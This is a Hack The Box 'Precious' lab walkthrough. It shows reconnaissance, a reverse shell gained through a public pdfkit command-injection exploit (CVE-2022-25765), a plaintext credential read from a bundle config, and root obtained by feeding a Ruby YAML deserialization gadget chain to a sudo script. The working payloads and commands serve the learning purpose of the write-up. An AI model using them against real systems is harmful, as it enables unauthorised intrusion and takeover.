

# Precious

*By Praveen Kumar Sharma*



---

For me IP of the machine is : 10.129.228.98

Lets try pinging it

```
ping 10.129.228.98 -c 5
```

```
PING 10.129.228.98 (10.129.228.98) 56(84) bytes of data.  
64 bytes from 10.129.228.98: icmp_seq=1 ttl=63 time=82.3 ms  
64 bytes from 10.129.228.98: icmp_seq=2 ttl=63 time=128 ms  
64 bytes from 10.129.228.98: icmp_seq=3 ttl=63 time=220 ms  
64 bytes from 10.129.228.98: icmp_seq=4 ttl=63 time=107 ms  
64 bytes from 10.129.228.98: icmp_seq=5 ttl=63 time=87.4 ms
```

```
--- 10.129.228.98 ping statistics ---
```

```
5 packets transmitted, 5 received, 0% packet loss, time 4005ms  
rtt min/avg/max/mdev = 82.316/124.821/219.525/50.038 ms
```

Alright, its online lets do some port scanning

## Port Scanning

### All Port Scan

```
rustscan -a 10.129.228.98 --ulimit 5000
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (14.106s)
```

```
rustscan -a 10.129.228.98 --ulimit 5000
```

```
.....  
-----
```

RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/home/pks/.rustscan.toml"

[~] Automatically increasing ulimit value to 5000.

Open 10.129.228.98:22

Open 10.129.228.98:80

[~] Starting Script(s)

[~] Starting Nmap 7.95 ( <https://nmap.org> ) at 2024-10-20 18:36 IST

Initiating Ping Scan at 18:36

Scanning 10.129.228.98 [2 ports]

Completed Ping Scan at 18:36, 0.44s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 18:36

Completed Parallel DNS resolution of 1 host. at 18:36, 0.16s elapsed

DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]

Initiating Connect Scan at 18:36

Scanning 10.129.228.98 [2 ports]

Discovered open port 80/tcp on 10.129.228.98

Discovered open port 22/tcp on 10.129.228.98

Completed Connect Scan at 18:36, 0.21s elapsed (2 total ports)

Nmap scan report for 10.129.228.98

Host is up, received syn-ack (0.37s latency).

Scanned at 2024-10-20 18:36:24 IST for 1s

PORT	STATE	SERVICE	REASON
------	-------	---------	--------

22/tcp	open	ssh	syn-ack
--------	------	-----	---------

80/tcp	open	http	syn-ack
--------	------	------	---------

Read data files from: /usr/bin/./share/nmap

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

#### Open Ports

PORT	STATE	SERVICE	REASON
------	-------	---------	--------

22/tcp	open	ssh	syn-ack
--------	------	-----	---------

80/tcp	open	http	syn-ack
--------	------	------	---------

Alright lets take a deeper look on these

## Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.129.228.98 -o aggressiveScan.txt
```


```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (16.845s)
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.129.228.98 -o aggressiveScan.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-20 18:38 IST
Nmap scan report for 10.129.228.98
Host is up (0.093s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp    open  http     nginx 1.18.0
|_ http-title: Did not follow redirect to http://precious.htb/
|_ http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.81 seconds
```

### Aggressive Scan

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp    open  http     nginx 1.18.0
|_ http-title: Did not follow redirect to http://precious.htb/ 
|_ http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Lets add precious.htb to /etc/hosts

```
# Static table lookup for hostnames.
# See hosts(5) for details.

10.10.11.242    devvortex.htb    dev.devvortex.htb
10.10.11.252    bizness.htb
10.10.11.217    topology.htb     latex.topology.htb    dev
10.10.11.227    keeper.htb        tickets.keeper.htb
10.10.11.136    panda.htb         pandora.panda.htb
10.10.11.105    horizontall.htb   api-prod.horizontall.htb
10.10.11.239    codify.htb
10.10.11.208    searcher.htb      gitea.searcher.htb
10.10.11.219    pilgrimage.htb
10.10.11.233    analytical.htb     data.analytical.htb
10.10.11.230    cozyhosting.htb
10.10.11.194    soccer.htb         soc-player.soccer.htb
10.10.11.122    nunchucks.htb     store.nunchucks.htb
10.129.228.109 squashed.htb
10.129.228.60  photobomb.htb
10.129.228.98  precious.htb
~
```

Alright, lets do some directory fuzzing now

---

## Directory Fuzzing

```
feroxbuster -u http://precious.htb -w /usr/share/wordlists/dirb/common.txt -t 200 -r --scan-dir-listings
```

```
feroxbuster -u http://precious.htb -w /usr/share/wordlists/dirb/common.txt -t 200 -r --scan-dir-listings
```

Target Url	http://precious.htb
Threads	200
Wordlist	/usr/share/wordlists/dirb/common.txt
Status Codes	All Status Codes!
Timeout (secs)	7
User-Agent	feroxbuster/2.11.0
Config File	/home/pks/.config/feroxbuster/ferox-config.toml
Extract Links	true
Scan Dir Listings	true
HTTP methods	[GET]
Follow Redirects	true
Recursion Depth	4

404	GET	1L	2W	18c	Auto-filtering found 404-like response and created new filter; too
200	GET	47L	89W	815c	http://precious.htb/stylesheets/style.css
200	GET	18L	42W	483c	http://precious.htb/
503	GET	1L	29W	189c	http://precious.htb/queues
503	GET	1L	29W	189c	http://precious.htb/radio
503	GET	1L	29W	189c	http://precious.htb/true

```
200 GET 47L 89W 815c http://precious.htb/stylesheets/style.css ↗
200 GET 18L 42W 483c http://precious.htb/ ↗
```

## Default page



I tried <https://google.com> in this



Got this in burp lets look at that

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
1	POST	/	HTTP/1.1		1	HTTP/1.1	200	OK	
2	Host:	precious.htb			2	Content-Type:	text/html; charset=utf-8		
3	User-Agent:	Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0			3	Connection:	keep-alive		
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jpeg,image/webp,image/png,image/svg+xml,*/*;q=0.8			4	Status:	200 OK		
5	Accept-Language:	en-US,en;q=0.5			5	X-XSS-Protection:	1; mode=block		
6	Accept-Encoding:	gzip, deflate, br			6	X-Content-Type-Options:	nosniff		
7	Content-Type:	application/x-www-form-urlencoded			7	X-Frame-Options:	SAMEORIGIN		
8	Content-Length:	28			8	Date:	Sun, 20 Oct 2024 14:22:14 GMT		
9	Origin:	http://precious.htb			9	X-Powered-By:	Phusion Passenger(R) 6.0.15		
10	Sec-GPC:	1			10	Server:	nginx/1.18.0 + Phusion Passenger(R) 6.0.15		
11	Connection:	keep-alive			11	X-Runtime:	Ruby		
12	Referer:	http://precious.htb/			12	Content-Length:	506		
13	Upgrade-Insecure-Requests:	1			13				
14	Priority:	u=0, i			14	<!DOCTYPE html>			
15					15	<html>			
16	url=https%3A%2F%2Fgoogle.com				16	<head>			
					17	<title>			
						Convert Web Page to PDF			
						</title>			
						<link rel="stylesheet" href="stylesheets/sty			
					18	</head>			
					19	<body>			
					20				

## Gaining Access

So i searched for ruby pdf exploit and found this pdfkit exploit : <https://github.com/UNICORDev/exploit-CVE-2022-25765?tab=readme-ov-file>

# Exploit for CVE-2022-25765 (pdfkit) - Command Injection



Like this repo? Give us a ★!

*For educational and authorized security research purposes only.*

## Exploit Author

@UNICORDev by (@NicPWNs and @Dev-Yeo)

## Vulnerability Description

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

## Exploit Description

A ruby gem `pdfkit` is commonly used for converting websites or HTML to PDF documents. Vulnerable versions (< 0.8.7.2) of this software can be passed a specially crafted URL containing a command that will be executed. This exploit generates executable URLs or sends them to a vulnerable website running `pdfkit`.

## Usage

```
python3 exploit-CVE-2022-25765.py -c <command>
python3 exploit-CVE-2022-25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022-25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022-25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022-25765.py -h
```

Lets run it

First start a listener

```
~/Documents/Notes/Hands-on-Hacking
```

```
nc -lvp 9001
```

```
Listening on 0.0.0.0 9001
```



Now lets run the exploit like this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (6.235s)
```

```
python3 exploit.py -s 10.10.16.19 9001 -w http://precious.htb -p url
```

[illegible]

UNICORD: Exploit for CVE-2022-25765 (pdfkit) - Command Injection

OPTIONS: Reverse Shell Sent to Target Website Mode

LOCALIP: 10.10.16.19:9001

WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 9001".

WEBSITE: <http://precious.htb>

POSTARG: url

```
EXPLOIT: Payload sent to website!
```

SUCCESS: Exploit performed action.

And we get our revshell here

```
nc -lvnp 9001
```

```
Listening on 0.0.0.0 9001
```

```
Connection received on 10.129.228.98 56194
```

id

```
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
```

Lets upgrade this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±3
```

```
nc -lvnp 9001
```

```
Listening on 0.0.0.0 9001
```

```
Connection received on 10.129.228.98 56194
```

```
id
```

```
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
```

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
ruby@precious:/var/www/pdfapp$ ^Z
```

```
[1] + 22094 suspended nc -lvnp 9001
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)
```

```
stty raw -echo;fg
```

```
[1] + 22094 continued nc -lvnp 9001
```

```
ruby@precious:/var/www/pdfapp$ export TERM=xterm
```

```
ruby@precious:/var/www/pdfapp$ █
```

---

## Lateral PrivEsc

Lets see all the user's on this machine with a shell

```
ruby@precious:~$ cat /etc/passwd | grep sh$
```

```
root:x:0:0:root:/root:/bin/bash
```

```
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
```

```
ruby:x:1001:1001:~/home/ruby:/bin/bash
```

```
ruby@precious:~$ █
```

Lets check all the files in /var/www/pdfapp

```
ruby@precious:/var/www/pdfapp$ find . -type f
./public/stylesheets/style.css
./config.ru
./config/environment.rb
./Gemfile
./app/views/index.erb
./app/controllers/pdf.rb
./Gemfile.lock
ruby@precious:/var/www/pdfapp$
```

Now lets see this config.ru here

```
ruby@precious:/var/www/pdfapp$ cat config.ru
require_relative './config/environment'
run PdfControllers
ruby@precious:/var/www/pdfapp$
```

Nothing major here lets see this environment.rb

```
ruby@precious:/var/www/pdfapp$ cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
ruby@precious:/var/www/pdfapp$
```

Nothing here either lets see our home directory here

```
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls
ruby@precious:~$ ls -al
total 32
drwxr-xr-x 5 ruby ruby 4096 Oct 20 09:33 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root    9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 4 ruby ruby 4096 Oct 20 09:14 .cache
drwx----- 3 ruby ruby 4096 Oct 20 09:33 .gnupg
-rw-r--r-- 1 ruby ruby  807 Mar 27 2022 .profile
ruby@precious:~$
```

So .bundle just jumps out to me lets see all what this has

```
ruby@precious:~$ ls -al .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .
drwxr-xr-x 5 ruby ruby 4096 Oct 20 09:33 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 2022 config
ruby@precious:~$
```

Lets see this file

```
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~$
```

Got creds here

⚠ User Creds found

Username : henry

Password : Q3c1AqGHtoI0aXAYFH

Lets ssh in now

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±1 (3.967s)
```

```
ssh henry@precious.htb
```

```
henry@precious.htb's password:
```

```
henry@precious:~ (0.166s)
```

```
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.
```

```
henry@precious ~ (0.299s)
```

```
id
```

```
uid=1000(henry) gid=1000(henry) groups=1000(henry)
```

```
henry@precious ~
```

```
|
```

And here is your user.txt

```
henry@precious:~ (0.399s)
```

```
ls -al
```

```
total 28
```

```
drwxr-xr-x 3 henry henry 4096 Oct 20 09:51 .  
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..  
lrwxrwxrwx 1 root  root    9 Sep 26  2022 .bash_history -> /dev/null  
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout  
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc  
drwxr-xr-x 3 henry henry 4096 Oct 20 09:51 .local  
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile  
-rw-r----- 1 root  henry   33 Oct 20 09:02 user.txt
```

---

## Vertical PrivEsc

Less see all the SUID binaries for an easy win

```
henry@precious ~ (0.428s)
find / -perm -u=s -type f 2>/dev/null

/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
```

Pretty standard lets see the GUID binaries

```
henry@precious:~ (0.62s)
find / -perm -g=s -type f 2>/dev/null

/usr/bin/ssh-agent
/usr/bin/crontab
/usr/bin/expiry
/usr/bin/wall
/usr/bin/chage
/usr/sbin/unix_chkpwd
```

Pretty standard as well

Now lets check the sudo permissions as we have the password of this user

```
henry@precious ~ (0.115s)
sudo -l

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

Lets try to run this to see if this is looking for something we can inject a payload in

```
henry@precious ~ (0.389s)
sudo /usr/bin/ruby /opt/update_dependencies.rb

Traceback (most recent call last):
  2: from /opt/update_dependencies.rb:17:in `'
  1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
```

So its looking for an dependencies.yml lets find an exploit for this

So, I searched for ruby dependencies deserialization exploit and found this Payload all the things page of ruby

:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md>

# Ruby Deserialization

## Marshal.load

Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

```
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b0e'
```

## Yaml.load

Vulnerable code

```
require "yaml"
YAML.load(File.read("p.yml"))
```

Universal gadget for ruby <= 2.7.2:

```
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
    - !ruby/object:Gem::Source::SpecificFile
      spec: &1 !ruby/object:Gem::StubSpecification
        loaded_from: "|id 1>&2"
    - !ruby/object:Gem::Source::SpecificFile
      spec:
```

Universal gadget for ruby 2.x - 3.x.

```
---
- !ruby/object:Gem::Installer
```

Lets look for our ruby version here

```
henry@precious:~ (0.15s)
ruby --version

ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
```

So the bottom one should work, This is one I'm talking about



Universal gadget for ruby 2.x - 3.x.

```
---
- !ruby/object:Gem::Installer
  i: x
- !ruby/object:Gem::SpecFetcher
  i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: "abc"
  debug_output: &1 !ruby/object:Net::WriteAdapter
    socket: &1 !ruby/object:Gem::RequestSet
      sets: !ruby/object:Net::WriteAdapter
        socket: !ruby/module 'Kernel'
        method_id: :system
      git_set: id
      method_id: :resolve
```



So lets save this in a file called dependencies.yml

```
henry@precious /tmp (1.711s)
```

```
vi dependencies.yml
```

```
henry@precious /tmp (0.217s)
```

```
cat dependencies.yml
```

```
---
```

```
- !ruby/object:Gem::Installer
  i: x
- !ruby/object:Gem::SpecFetcher
  i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
        socket: &1 !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: id
          method_id: :resolve
```

Now lets run it again

```
henry@precious /tmp (0.742s)
```

```
sudo /usr/bin/ruby /opt/update_dependencies.rb
```

```
sh: 1: reading: not found
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
Traceback (most recent call last):
```

```
 33: from /opt/update_dependencies.rb:17:in `<main>'
```

```
 32: from /opt/update_dependencies.rb:10:in `list_from_
```

```
 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
```

```
 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in
```

```
 29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb
```

```
 28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb
```

ok so this is working lets edit it like this to get a shell

```
henry@precious:/tmp (0.153s)
```

```
cat dependencies.yml
```

```
---
```

```
- !ruby/object:Gem::Installer
```

```
  i: x
```

```
- !ruby/object:Gem::SpecFetcher
```

```
  i: y
```

```
- !ruby/object:Gem::Requirement
```

```
  requirements:
```

```
    !ruby/object:Gem::Package::TarReader
```

```
    io: &1 !ruby/object:Net::BufferedIO
```

```
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
```

```
        read: 0
```

```
        header: "abc"
```

```
    debug_output: &1 !ruby/object:Net::WriteAdapter
```

```
      socket: &1 !ruby/object:Gem::RequestSet
```

```
        sets: !ruby/object:Net::WriteAdapter
```

```
          socket: !ruby/module 'Kernel'
```

```
            method_id: :system
```

```
          git_set: bash
```

```
            method_id: :resolve
```

Now lets run it again

```
henry@precious /tmp
sudo /usr/bin/ruby /opt/update_dependencies.rb

sh: 1: reading: not found
root@precious:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@precious:/tmp# █
```

Got root, and here is your root.txt

```
root@precious:/tmp# cd /root
root@precious:~# ls -al
total 28
drwx-----  4 root root 4096 Oct 20 09:02 .
drwxr-xr-x 18 root root 4096 Nov 21  2022 ..
lrwxrwxrwx  1 root root    9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 26  2022 .bundle
drwxr-xr-x  3 root root 4096 Nov 21  2022 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Oct 20 09:02 root.txt
root@precious:~# █
```

Thanks for reading :)